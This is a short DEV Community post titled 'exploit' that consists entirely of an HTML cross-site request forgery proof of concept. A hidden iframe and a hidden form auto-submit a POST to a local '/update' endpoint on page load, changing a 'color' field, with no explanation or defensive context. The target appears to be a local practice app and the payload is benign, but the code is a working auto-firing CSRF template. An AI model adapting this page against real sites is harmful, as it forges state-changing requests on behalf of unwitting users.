DEV Community

Cover image for exploit
BelowTheRoot
BelowTheRoot

Posted on

exploit

<iframe style="display:none" name="csrf-frame"></iframe>
<form method='POST' action='http://localhost:5000/update' target="csrf-frame" id="csrf-form">
  <input type='hidden' name='color' value='Hackzord!'>
  <input type='submit' value='submit'>
</form>
<script>document.getElementById("csrf-form").submit()</script>

Enter fullscreen mode Exit fullscreen mode

Top comments (0)